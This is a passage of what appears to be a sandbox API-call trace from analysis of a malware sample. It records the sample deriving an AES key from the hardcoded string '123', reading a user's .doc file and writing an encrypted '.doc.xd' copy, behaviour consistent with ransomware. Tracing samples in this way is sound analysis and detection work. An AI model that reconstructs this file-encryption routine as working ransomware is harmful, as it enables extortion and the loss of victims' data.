lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.300] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.300] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.300] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.300] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.300] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.300] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.300] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.300] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.301] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.301] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.301] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.301] CryptHashData (hHash=0x164c770, pbData=0x1629480, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.302] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.302] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.302] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.302] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.302] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.302] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.302] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0073.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.302] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.302] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.302] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.303] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.303] CryptDestroyHash (hHash=0x164c770) returned 1 [0073.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.303] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t41doti7.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.303] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.303] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.304] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.304] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0073.304] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t41doti7.doc.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.304] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.304] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.304] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.304] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.306] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.306] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0073.309] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x234, lpOverlapped=0x0) returned 1 [0073.309] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.312] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.313] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.313] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.313] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.313] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.313] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.313] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.313] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.313] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.313] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.313] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.313] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.314] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.314] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.314] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.314] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.314] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.314] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.315] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.315] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.316] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10234, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10240) returned 1 [0073.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.316] CharLowerBuffW (in: lpsz="byte[66113]", cchLength=0xb | out: lpsz="byte[66113]") returned 0xb [0073.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.325] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.325] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.326] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18111e0*, pdwDataLen=0x130e618*=0x10234, dwBufLen=0x10240 | out: pbData=0x18111e0*, pdwDataLen=0x130e618*=0x10240) returned 1 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.326] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.326] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 